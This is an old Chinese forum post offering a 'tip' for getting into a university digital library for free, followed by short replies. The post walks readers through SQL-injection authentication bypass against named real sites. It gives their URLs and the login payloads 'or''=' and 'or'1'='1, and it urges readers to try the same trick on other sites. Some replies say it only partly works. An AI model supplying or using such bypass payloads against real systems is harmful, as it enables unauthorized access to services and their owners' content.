问题：免费进入超星图书馆小技巧
类型：推荐
提问：xschou
等级：▲
版块：功能高分子(bigfoot,qiangpeng,zhp_lz,)
信誉：100%
回复：7
阅读：1225
时间：2005-09-18 21:08:11 编辑加入/取消收藏订制/取消短消息举报该贴

转自零点
深圳广播电视大学数字图书馆
http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、密码
我们可以构造查询条件，突破限制
做法如下：
1.随便输入学号、密码，登陆，例如：学号=1,密码=1.这时会出现“此用户不存在！返回”
ie地址栏中地址为http://218.17.219.22/bookhtm/sq/load.asp?user=1&mima=1&B1.x=31&B1.y=6
2.修改地址进入：
将上面地址中user=1&mima=1改为:user='or''='&mima='or''='
或者user='or'1'='1&mima='or'1'='1 也可

就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞，可以登陆另外几个需要输入用户名、密码的站点,需要输入的地方都输上'or''='
如：驻马店电大http://www.zmdtvu.net/dabookhtm/
铜陵电大http://218.22.180.149/index.asp其他的自己好好发掘吧。

回复人：cuijiayi,▲ (刚申请了一个号) 时间：2009-08-08 09:08:17 编辑	1楼
资源不错，加0.3分

回复人：lypshelly,▲ (我是学无机材料的) 时间：2005-10-13 21:33:45 编辑	2楼
资源不错，加0.1分

回复人：coolrock,▲ (正在学习高分子物理化学，很多问题不明白) 时间：2005-10-14 15:23:07 编辑	3楼
资源不错，加0.1分

回复人：ali2004,▲▲▲ (bxxtdmghtrtrfu,jbvygfcrtredmgh,) 时间：2005-10-14 19:42:30 编辑	4楼
资源不错，加0.1分

回复人：hspring,▲ () 时间：2005-10-15 10:28:02 编辑	5楼
资源不错，加0.1分

回复人：流氓太子,▲ (功能高分子材料以及乳液聚合方面的研究) 时间：2005-10-18 09:19:51 编辑	6楼
怎么不行呢？还是我操作不当。但是还是支持

回复人：bienlio,▲ (专业：化学工艺设计) 时间：2005-10-18 10:29:49 编辑	7楼
用不了哦，能进去，可是下载或者阅读还要帐号的。

问题讨论没有结束...

您尚未进入本论坛,登录之后才可以回贴

6msec